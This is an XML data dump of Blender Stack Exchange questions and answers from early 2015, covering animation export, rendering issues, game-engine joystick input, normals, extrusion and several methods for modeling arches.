  <row Id="21675" PostTypeId="1" AcceptedAnswerId="21677" CreationDate="2015-01-03T18:22:00.413" Score="1" ViewCount="3476" Body="&lt;p&gt;I have made some animations in Blender, use the native Android SDK to build apps and would like to export the animations from Blender, so I can use in my app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm talking about exporting the actual animation, not about rendering it; for example: I have a box that blows up, in Blender - I want it to blow up in the app when an event occurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I export a Blender animation to be used in an Android app?&lt;/p&gt;&#xA;" OwnerUserId="9786" LastEditorUserId="3078" LastEditDate="2015-01-03T18:59:47.083" LastActivityDate="2015-01-03T18:59:47.083" Title="How to export animations to use in an Android app" Tags="&lt;animation&gt;&lt;export&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21677" PostTypeId="2" ParentId="21675" CreationDate="2015-01-03T18:55:44.167" Score="1" Body="&lt;p&gt;Probably the easiest solution is to export a Wavefront Obj sequence; This will give you a sequence of files, where each represents the positions of each vertex, at the given time. This format is probably the best, since it's very simple and uses ASCII.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this in Blender, after you have your animation ready, go to the &lt;code&gt;Header&lt;/code&gt;, then &lt;code&gt;File&lt;/code&gt;, the &lt;code&gt;Export&lt;/code&gt; and finally &lt;code&gt;Wavefront (.obj)&lt;/code&gt;. The interface layout will change and show you the &lt;em&gt;File Browser&lt;/em&gt;, where you can select the output path and name. Before clicking &lt;code&gt;Export&lt;/code&gt;, you need to go to the panel on the left and in the subsection &lt;code&gt;Export OBJ&lt;/code&gt; check &lt;code&gt;Animation&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oTGXf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2015-01-03T18:55:44.167" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21678" PostTypeId="2" ParentId="21666" CreationDate="2015-01-03T18:58:28.087" Score="2" Body="&lt;p&gt;You can try to render a &lt;code&gt;mp4&lt;/code&gt; instead of &lt;code&gt;avi&lt;/code&gt;. In the &lt;strong&gt;Render Tab&lt;/strong&gt; scroll to &lt;strong&gt;Output&lt;/strong&gt; and choose &lt;strong&gt;mpeg-4&lt;/strong&gt; or the &lt;strong&gt;h.264 Preset&lt;/strong&gt; and set your desired values, which are similar to &lt;a href=&quot;https://www.ffmpeg.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ffmpeg&lt;/a&gt; settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/idZCR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2015-01-03T19:44:05.440" LastActivityDate="2015-01-03T19:44:05.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21679" PostTypeId="2" ParentId="21673" CreationDate="2015-01-03T19:03:15.713" Score="1" Body="&lt;p&gt;I think you can use the &lt;em&gt;Joystick&lt;/em&gt; sensor; However, you do have to configure it accordingly, using the button and axis numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C2mFi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2015-01-03T19:03:15.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21681" PostTypeId="1" CreationDate="2015-01-03T19:13:02.717" Score="2" ViewCount="49" Body="&lt;p&gt;I don't know what I pressed, but this happened before.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I can't undo or redo in object mode but it still works in edit mode.&lt;/li&gt;&#xA;&lt;li&gt;When I move an object to another layer I need to press an &quot;OK&quot; button.&lt;/li&gt;&#xA;&lt;li&gt;Can't use the lower half of the left toolbar in object mode, it is grayed out.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here are a couple pictures:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/skt93.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0R5KA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is causing this strange behavior?&lt;/p&gt;&#xA;" OwnerUserId="9789" LastEditorUserId="12" LastEditDate="2015-01-05T18:24:04.827" LastActivityDate="2015-01-05T18:24:04.827" Title="Can't modify objects after creation in object mode" Tags="&lt;interface&gt;&lt;editing&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-01-04T14:02:50.823" ContentLicense="CC BY-SA 3.0" />
  <row Id="21682" PostTypeId="1" CreationDate="2015-01-03T19:46:48.767" Score="1" ViewCount="25" Body="&lt;p&gt;I have created 3d model of a little boy but when I render it there are small points on the model what can cause it? There is a plane with material of emission.&lt;img src=&quot;https://i.stack.imgur.com/2dngx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9791" LastEditorDisplayName="user1853" LastEditDate="2015-01-03T21:38:51.693" LastActivityDate="2015-01-03T21:38:51.693" Title="Noise in rendered image" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-01-03T20:42:25.187" ContentLicense="CC BY-SA 3.0" />
  <row Id="21684" PostTypeId="2" ParentId="21674" CreationDate="2015-01-03T19:56:26.463" Score="2" Body="&lt;p&gt;You have to recalculate the normals first. When you check the &lt;em&gt;Display normals as lines&lt;/em&gt; option in &lt;em&gt;Mesh Display&lt;/em&gt; panel you may see that there are some parts, where normals are directed in a wrong way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lw1i5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enter the &lt;em&gt;Edit Mode&lt;/em&gt;, select the whole object (press &lt;kbd&gt;A&lt;/kbd&gt;), and then press &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; to recalculate normals. You can also do the same thing from the tool shelf on the left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tv6Pv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now all the normals are heading the right direction, as you can see in the picture below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZGCnc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the normals recalculated you can easily paint on the model entering the &lt;em&gt;Texture Paint&lt;/em&gt; mode in 3d view, or &lt;em&gt;Paint&lt;/em&gt; mode in UV/Image Editor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4bGxb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that after you paint a texture, you have to save it, in other case it won't be visible after opening a blender file next time. When you see the 'star' symbol by the &lt;em&gt;Image&lt;/em&gt; option it means that the image is not saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rvmcN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope I helped you.&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-01-03T19:56:26.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21685" PostTypeId="1" CreationDate="2015-01-03T20:09:58.897" Score="3" ViewCount="1244" Body="&lt;p&gt;I am making a small little video. I have done so before with success. This however is turning pink when the 10th frame is rendered. That is, if I render an animation and start from frame 1, at frame 11 and after it will turn pink. If I start at 301, frame 311 and after will turn pink. If I start a rendering, but not finish, it will count as one of the 10 before it eventually renders pink.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I exported the file to a friend (who has a &lt;strong&gt;much&lt;/strong&gt; better computer than me) to render it with all the textures included. The same problem happens. First 10 frames are fine, then the 11 and on are pink. To fix this we restart the program but it still happens. I render at CPU, my friend rendered it on GPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried starting a new file, everything works fine, then I start importing some objects/textures/animations from the old to the new. Works alright. Then at a certain point of pasting into the old, the same thing happens. I tried seeing if it was one specific object, but it seems as though it could be any of them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think it could be too many shadows/polygons that make the program give up importing textures. My MAX light bounce is only at 2. So far the only way to fix this that I know of is to render 10 frames, restart blender, then render the next 10 frames. I have 2000 frames, so I hope I wouldn't have to do this 200 times to finish the video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After it renders a pink image, it will stop rendering an animation all together. Once the pink image is complete it quits rendering the frames after it, despite having another 1800 frames to go.&lt;/p&gt;&#xA;" OwnerUserId="9792" LastEditorDisplayName="user12855" LastEditDate="2015-06-01T01:45:11.607" LastActivityDate="2015-06-01T01:45:11.607" Title="Why does my render always turn pink on the 10th frame?" Tags="&lt;rendering&gt;&lt;video&gt;" AnswerCount="1" CommentCount="17" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21686" PostTypeId="1" AcceptedAnswerId="21687" CreationDate="2015-01-03T20:41:42.627" Score="1" ViewCount="537" Body="&lt;p&gt;So right now I have a splitscreen FPS on Windows.  I have the players set up by using the Joystick Sensor when the XBOX controller is plugged in.  When I have two controllers plugged in, both controllers control both players.  I want it so one controller controls one player and the other controls the other.  Is there a way to make blender recognize the controller?  If I can't do this than I will have to make it so one person uses the keyboard and mouse and the other uses the controller which would not be as good.&lt;/p&gt;&#xA;" OwnerUserId="9794" LastEditorUserId="2217" LastEditDate="2015-01-03T23:44:30.840" LastActivityDate="2015-01-03T23:44:30.840" Title="How do I make BGE recognize multiple XBOX Controllers?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21687" PostTypeId="2" ParentId="21686" CreationDate="2015-01-03T20:50:46.640" Score="3" Body="&lt;p&gt;You can use the &lt;code&gt;Index&lt;/code&gt; field on the &lt;em&gt;Joystick&lt;/em&gt; sensor, to distinguish between different controllers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JGP2J.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2015-01-03T20:50:46.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21688" PostTypeId="1" AcceptedAnswerId="21694" CreationDate="2015-01-03T20:57:03.977" Score="3" ViewCount="1619" Body="&lt;p&gt;How do I extrude a face loop selection along face normals?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To grasp the problem, take a convex shape such as the back of a satellite dish.&#xA;If you would like to see in what direction that I would like this face loop to extrude then turn on Face Normals (Properties Panel&gt;Mesh Display&gt;Normals&gt;Display Face Normals as Lines) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I individually select each face and extrude it with the same value I can get the effect that I desire, but it then requires cleanup to delete all extraneous faces on the ends of each extrusion and then the vertices must all be selectively merged at center. This takes an unbelievable amount of time to do. I have not been able to find any combination of Transform Orientation or Extrusion settings (or using Alt+S) that will extrude a face loop in the direction of the individual face normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What options if any will perform this operation more quickly than what I am doing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4idaZ.png&quot; alt=&quot;Convex shape with a loop of faces to be extruded&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/72plZ.png&quot; alt=&quot;Desired extrusion - a face loop extruded along face normals&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VQjcY.png&quot; alt=&quot;Extruding each and every face along their respective face normals&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rNS3k.png&quot; alt=&quot;Deleting extraneous face on the ends of each and every extrusion&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l9M3e.png&quot; alt=&quot;Merging specific sets of vertices at center&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OrHtY.png&quot; alt=&quot;Extrude with Region Vertex Normals&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9504" LastEditorDisplayName="user1853" LastEditDate="2015-01-04T02:34:28.893" LastActivityDate="2015-01-04T02:34:28.893" Title="Error extruding loop selection along individual face normals" Tags="&lt;modeling&gt;&lt;normals&gt;" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21689" PostTypeId="2" ParentId="21688" CreationDate="2015-01-03T21:23:27.667" Score="2" Body="&lt;p&gt;You can extrude along &lt;em&gt;Vertex&lt;/em&gt; normals; vertex normals and face normals are *always* the same (they're not if you use seams).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, first select the region you want to extrude, then open the &lt;em&gt;Toolshelf&lt;/em&gt; (press &lt;kbd&gt;T&lt;/kbd&gt;); In the &lt;code&gt;Tools&lt;/code&gt; tab, under &lt;code&gt;Mesh Tools&lt;/code&gt; press the &lt;code&gt;Extrude&lt;/code&gt; button - it will show you a list of possible extrusion methods - and choose &lt;code&gt;Region (Vertex Normals)&lt;/code&gt; (shortcut &lt;kbd&gt;V&lt;/kbd&gt;, while in that menu).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sZaMf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2015-01-03T21:23:27.667" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="21690" PostTypeId="1" AcceptedAnswerId="21692" CreationDate="2015-01-03T22:04:34.310" Score="7" ViewCount="5853" Body="&lt;p&gt;I just don't see the difference using Facing and Fresnel, or Layer Weight as a whole in my node editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a big difference using it, is it useful for distant objects?&lt;/p&gt;&#xA;" OwnerUserId="9583" LastActivityDate="2017-01-03T15:10:12.093" Title="What's the Benefit of Using Layer Weight?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21691" PostTypeId="1" CreationDate="2015-01-03T22:14:02.130" Score="0" ViewCount="117" Body="&lt;p&gt;I want to model the limbs of this type of lamp such that I can mechanically move the structure into different poses without having to manually move each object piece one by one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have spent some time trying to do this with bones, but the fact that you have adjacent 'arms' that are connected to the same solid piece at each end (with hinges) makes it not behave as desired with single bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not with bones/armatures, is it possible with some other method within Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FcpIh.jpg&quot; alt=&quot;Crude example of armature mechanics&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2015-01-04T12:45:50.600" Title="Is it possible to simulate an adjustable lamp's limbs using armatures/bones?" Tags="&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21692" PostTypeId="2" ParentId="21690" CreationDate="2015-01-03T22:21:39.920" Score="7" Body="&lt;p&gt;There are many big differences, among which are that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fresnel depends on the face normals of your mesh - it will not work with inconsistent or incorrect normals;&lt;/li&gt;&#xA;&lt;li&gt;The Layer Weight node allows for a smooth &lt;a href=&quot;https://www.blender.org/manual/render/cycles/nodes/types/input/layer_weight.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend between the two&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Depending on what you wish to achieve, it may be better to use a specific one, but generally, you'll want to use the Fresnel node, as it's &lt;em&gt;more physically accurate&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3710" LastEditDate="2017-01-03T15:10:12.093" LastActivityDate="2017-01-03T15:10:12.093" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21693" PostTypeId="2" ParentId="21688" CreationDate="2015-01-03T22:30:08.747" Score="4" Body="&lt;p&gt;You can try using the inset tool &lt;kbd&gt;I&lt;/kbd&gt; using &lt;strong&gt;Outset&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dZZqw.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-01-03T22:30:08.747" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21694" PostTypeId="2" ParentId="21688" CreationDate="2015-01-03T23:28:17.937" Score="5" Body="&lt;p&gt;The normals on your object are not correct because the object is rotated 90 degrees in object mode.&#xA;To fix select your object, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; and &lt;strong&gt;Apply Rotation and Scale&lt;/strong&gt;. Then your normals will work for the extrusion operation you want to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QA56L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/skpjd.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;read: &lt;a href=&quot;http://wiki.blender.org/index.php/User:Fade/Doc:2.6/Manual/3D_interaction/Transform_Control/Reset_Object_Transformations&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/User:Fade/Doc:2.6/Manual/3D_interaction/Transform_Control/Reset_Object_Transformations&lt;/a&gt; and &lt;a href=&quot;http://blenderartists.org/forum/archive/index.php/t-106188.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/archive/index.php/t-106188.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-01-03T23:38:49.013" LastActivityDate="2015-01-03T23:38:49.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21697" PostTypeId="1" AcceptedAnswerId="21701" CreationDate="2015-01-04T00:29:43.717" Score="1" ViewCount="3623" Body="&lt;p&gt;My friend who has only recently downloaded blender has come across a workspace issue. He said he accidentally pressed a button and it has entirely changed his user interface/ Workspace. He can't open, save or do anything with the change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rY2qn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a full window image!&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="2217" LastEditDate="2015-01-04T01:35:39.363" LastActivityDate="2015-01-04T01:35:39.363" Title="Unexpected workspace change?" Tags="&lt;interface&gt;&lt;shortcut&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21698" PostTypeId="1" AcceptedAnswerId="21704" CreationDate="2015-01-04T00:32:41.643" Score="18" ViewCount="21088" Body="&lt;p&gt;Is there a simple way to create an arch? Different type of arches on &lt;a href=&quot;http://en.wikipedia.org/wiki/Arch#Types_of_arches&quot;&gt;wikipedia&lt;/a&gt;.&#xA;I'm interested in the &lt;em&gt;Round arch&lt;/em&gt; or &lt;em&gt;Elliptical arch&lt;/em&gt; type of arches.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2020-10-06T03:06:25.913" Title="How would I create an arch?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="9" CommentCount="1" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="21699" PostTypeId="2" ParentId="21697" CreationDate="2015-01-04T00:33:42.223" Score="-1" Body="&lt;p&gt;It seems he entered &lt;em&gt;Rendered Viewport Shading&lt;/em&gt; mode; to close it press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Z&lt;/kbd&gt;, while your mouse is over the 3D View, or go to the 3D View header (on the bottom, above the Timeline) and on the right side to where it says &lt;code&gt;Object Mode&lt;/code&gt;, press the button; a list of shading modes will apear, where you can select &lt;code&gt;Solid&lt;/code&gt; for the default one.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2015-01-04T00:33:42.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21700" PostTypeId="2" ParentId="21698" CreationDate="2015-01-04T00:35:29.793" Score="18" Body="&lt;p&gt;You can do this by modeling one section and then add an array modifier using a rotated empty to wrap it around a point, creating an arch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3MgOw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;settings of the array modifier on the arch section:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RGrcs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of this type of arch in a scene:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3VP9a.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3VP9a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/154/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=154&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2018-11-17T16:25:22.027" LastActivityDate="2018-11-17T16:25:22.027" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21701" PostTypeId="2" ParentId="21697" CreationDate="2015-01-04T00:36:14.110" Score="2" Body="&lt;p&gt;press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Space&lt;/kbd&gt; or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Up Arrow&lt;/kbd&gt; or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Down Arrow&lt;/kbd&gt;to exit full screen, or go to view-&gt;Toggle full screen&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="2217" LastEditDate="2015-01-04T01:10:44.530" LastActivityDate="2015-01-04T01:10:44.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21702" PostTypeId="2" ParentId="21698" CreationDate="2015-01-04T00:45:23.090" Score="13" Body="&lt;p&gt;You can also do this by modeling a brick, setting the cursor to center, and using the spin tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(model the brick, set cursor to center)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZNBqv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use spin tool to create arch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GuItS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-03-06T18:25:32.383" LastActivityDate="2015-03-06T18:25:32.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21703" PostTypeId="2" ParentId="21698" CreationDate="2015-01-04T00:50:04.190" Score="11" Body="&lt;p&gt;You can achieve this with an array and a curve modifier.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a curve; then  model it in to what ever shape arch you want.&lt;/li&gt;&#xA;&lt;li&gt;On the object that will be repeated across the arch, add the two modifiers an array and a curve.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5kM32.png&quot; alt=&quot;modifiers&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Set the array modifier's &lt;em&gt;Fit Type&lt;/em&gt; to &lt;em&gt;Fit Curve&lt;/em&gt;, then select the curve. Then set the Curve modifier's &lt;em&gt;Object&lt;/em&gt; to be the same curve.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-01-04T00:50:04.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21704" PostTypeId="2" ParentId="21698" CreationDate="2015-01-04T01:00:26.887" Score="22" Body="&lt;p&gt;You can use an array + the &lt;em&gt;simple deform modifier&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start with a cube, this will be your &quot;brick&quot;:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/A6TUm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;add an array modifier, make it as long as you want bricks. make them go up on the &lt;code&gt;Z&lt;/code&gt; axis&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DObu3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;add a &lt;em&gt;simple deform&lt;/em&gt; modifier.&lt;/li&gt;&#xA;&lt;li&gt;set the type to bend.&lt;/li&gt;&#xA;&lt;li&gt;set the angle to &lt;code&gt;180&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add an empty at the origin of your object&lt;br/&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iBs6U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Rotate it by 90 degrees on the &lt;code&gt;Y&lt;/code&gt; axis.&lt;/li&gt;&#xA;&lt;li&gt;Set it to the origin in the bend modifier&lt;/li&gt;&#xA;&lt;li&gt;Move it away from your object to control the width of your arch, you may have to try multiple axis.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0bj7C.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;strong&gt;GIF&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U7VAY.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-01-04T15:19:04.307" LastActivityDate="2015-01-04T15:19:04.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21705" PostTypeId="2" ParentId="21698" CreationDate="2015-01-04T01:00:50.710" Score="7" Body="&lt;p&gt;You can create a arch from a circle, or cylinder.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start by deleting the bottom half of the vertices.&lt;/li&gt;&#xA;&lt;li&gt;If you want a symmetrical arch add a mirror modifier and delete half of the vertices.&lt;/li&gt;&#xA;&lt;li&gt;Model the circle in to the arch shape you want.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5b4Ff.png&quot; alt=&quot;circle with mirror modifier&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-01-04T01:07:08.480" LastActivityDate="2015-01-04T01:07:08.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21707" PostTypeId="2" ParentId="21698" CreationDate="2015-01-04T01:11:38.833" Score="22" Body="&lt;p&gt;Use the &lt;strong&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/2.80/modeling/meshes/editing/transform/warp.html#warp&quot; rel=&quot;nofollow noreferrer&quot;&gt;warp&lt;/a&gt;&lt;/strong&gt; tool.&lt;/p&gt;&#xA;&lt;p&gt;Take a cube. Stretch it, add a few loop cuts, then move the cursor to where you want the center of the arch, and use the warp tool:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ntILi.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="15924" LastEditDate="2020-10-06T03:06:25.913" LastActivityDate="2020-10-06T03:06:25.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
